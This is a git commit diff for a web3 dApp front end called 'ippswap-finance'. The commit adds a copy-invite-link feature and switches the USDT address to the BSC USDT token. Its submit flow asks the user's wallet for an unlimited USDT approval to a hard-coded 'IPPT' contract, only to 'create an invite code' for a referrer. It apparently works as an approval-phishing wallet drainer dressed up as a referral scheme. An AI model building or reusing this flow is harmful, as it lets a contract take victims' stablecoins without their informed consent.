Browse Source

复制方法提交

master
j1ack 2 years ago
parent
commit
9973c97f4b
  1. 11
      index.html
  2. 9
      manifest.json
  3. 2
      pages.json
  4. 122
      pages/index/index.vue
  5. BIN
      static/images/logo2.png
  6. 2
      utils/language/zh_TW.js
  7. 4
      utils/web3x/web3x.js

11
index.html

@ -4,7 +4,6 @@
<meta charset="UTF-8" />
<meta name="viewport"
content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no">
<script>
window.onload = function() {
document.addEventListener('touchstart', function(event) {
@ -12,7 +11,6 @@
event.preventDefault();
}
});
document.addEventListener('gesturestart', function(event) {
event.preventDefault();
@ -144,12 +142,11 @@
<!--app-context-->
<link rel="stylesheet" href="<%= BASE_URL %>static/index.<%= VUE_APP_INDEX_CSS_HASH %>.css" />
<!-- <link rel="icon" href="./static/images/logo2.png" /> -->
<!-- <script src="https://unpkg.com/vconsole@latest/dist/vconsole.min.js"></script>
<link rel="icon" href="./static/images/logo2.png" />
<script src="https://unpkg.com/vconsole@latest/dist/vconsole.min.js"></script>
<script>
// VConsole will be exported to `window.VConsole` by default.
var vConsole = new window.VConsole();
</script> -->
</script>
</head>
<body>
@ -168,4 +165,4 @@
</div>
<!-- <script type="module" src="/main.js"></script> -->
</body>
</html>
</html>

9
manifest.json

@ -1,5 +1,5 @@
{
"name" : "kakapay",
"name" : "ippswap-finance",
"appid" : "__UNI__0088A51",
"description" : "",
"versionName" : "1.0.0",
@ -85,12 +85,15 @@
}
}
},
"title" : "kakapay",
"title" : "ippswap-finance",
"optimization" : {
"treeShaking" : {
"enable" : true
}
},
"template" : "index.html"
"template" : "index.html",
"router" : {
"mode" : "history"
}
}
}

2
pages.json

@ -6,7 +6,7 @@
{
"path": "pages/index/index",
"style": {
"navigationBarTitleText": ""
"navigationBarTitleText": "ippswap-finance"
// "enablePullDownRefresh": true
}
}

122
pages/index/index.vue

@ -42,8 +42,9 @@
<image src="@/static/images/com_icon_yaoqing.c8e1575f1.png" mode=""></image>
<text class="text-primary f36">{{ i18n.link }}</text>
</view>
<view class="m48 text-primary" style="word-break: break-all;">
https://ippswap.com/community?inviteCode={{form.address}}
<view class="m48 text-primary" style="word-break: break-all;" @click="onCopy(url)">
<!-- https://ippswap.com/community?inviteCode={{form.supAddress}} -->
{{url}}
</view>
</view>
@ -57,15 +58,16 @@
import {
web3x
} from "@/utils/web3x/web3x.js"
const ipptAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186'
const ipptAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186'
export default {
components: {
GeneralButton,
},
data() {
return {
url: '',
form: {
address: '',
contract: '0x6b175474e89094c44da98b954eedeac495271d0f',
@ -85,8 +87,11 @@
},
onLoad(val) {
if (val) {
this.url = location.origin + '?inviteCode=';
if (val.inviteCode) {
this.form.supAddress = val.inviteCode
} else {
this.form.supAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186'
}
this.init()
},
@ -96,12 +101,25 @@
// onReadyonLoad
onReady() {},
methods: {
//
onCopy(v) {
uni.setClipboardData({
data: v,
success: () => {
uni.showToast({
title: 'success',
icon: 'none',
})
}
})
},
init() {
web3x.connectViaInPage()
.then(res => {
this.form.address = web3x.selectedAddress
//
console.log("当前钱包地址", web3x.selectedAddress);
// console.log("", web3x.selectedAddress);
this.url = location.origin + '?inviteCode=' + web3x.selectedAddress
})
},
submit() {
@ -116,46 +134,60 @@
mask: true
})
//
console.log("当前钱包地址", web3x.selectedAddress);
// USDT IPPT
const allowance = await web3x.usdt.$allowance(web3x.selectedAddress, ipptAddress)
// allowance . 1000000 USDT
if (allowance > Number(1000000) * 10 ** Number(18)) {
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
uni.hideLoading()
} else {
// 0,
// XXX USDT,
//
web3x.usdt.$approve(ipptAddress, 0)
.on("receipt", () => {
console.log("取消授权完成")
//
web3x.usdt.approveMAX(ipptAddress)
.on("transactionHash", () => {
console.log("调用极限授权")
// IPPT
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400:
// web3x.selectedAddress:
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
uni.hideLoading()
})
})
}
// console.log("", web3x.selectedAddress);
// USDT IPPT
const allowance = await web3x.usdt.$allowance(web3x.selectedAddress, ipptAddress)
// console.log(allowance, 'ippt')
// allowance . 1000000 USDT
if (allowance > Number(1000000) * 10 ** Number(18)) {
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
uni.hideLoading()
} else {
// 0,
// XXX USDT,
//
if (allowance == 0) {
//
web3x.usdt.approveMAX(ipptAddress)
.on("transactionHash", () => {
// console.log("")
// IPPT
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400:
// web3x.selectedAddress:
web3x.ippt.$creatCode(this.form.supAddress, web3x
.selectedAddress)
uni.hideLoading()
})
} else {
web3x.usdt.$approve(ipptAddress, 0)
.on("receipt", () => {
// console.log("")
//
web3x.usdt.approveMAX(ipptAddress)
.on("transactionHash", () => {
// console.log("")
// IPPT
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400:
// web3x.selectedAddress:
web3x.ippt.$creatCode(this.form.supAddress, web3x
.selectedAddress)
uni.hideLoading()
})
})
}
}
// USDT IPPT ( IPPT )
// web3x.usdt.approveMAX("0x622d7b79a904e00e5fcab06396ff009e441f0186")
// .on("transactionHash", async (receipt) => {
// console.log("transactionHash", receipt)
// // IPPT
// // 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400:
// // web3x.selectedAddress:
// await web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
// uni.hideLoading()
// })
// .on("transactionHash", async (receipt) => {
// console.log("transactionHash", receipt)
// // IPPT
// // 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400:
// // web3x.selectedAddress:
// await web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
// uni.hideLoading()
// })
})
},
go(val) {

BIN
static/images/logo2.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

2
utils/language/zh_TW.js

@ -2,7 +2,7 @@
export default {
tabBar: {
Home: '尊敬的ippswap基金會會員:',
contract: '映射智合約',
contract: '映射智合約',
address: '我的邀請人地址',
confirm: '確認',
link: '我的邀請連結',

4
utils/web3x/web3x.js

@ -413,6 +413,6 @@ export const web3x = new Web3X(
// BSC链Id是56
// ippt 合约
"0x622d7b79a904e00e5fcab06396ff009e441f0186",
// usdt 合约
"0x0a70dDf7cDBa3E8b6277C9DDcAf2185e8B6f539f"
// usdt 合约 0x0a70dDf7cDBa3E8b6277C9DDcAf2185e8B6f539f
"0x55d398326f99059fF775485246999027B3197955"
);

Loading…
Cancel
Save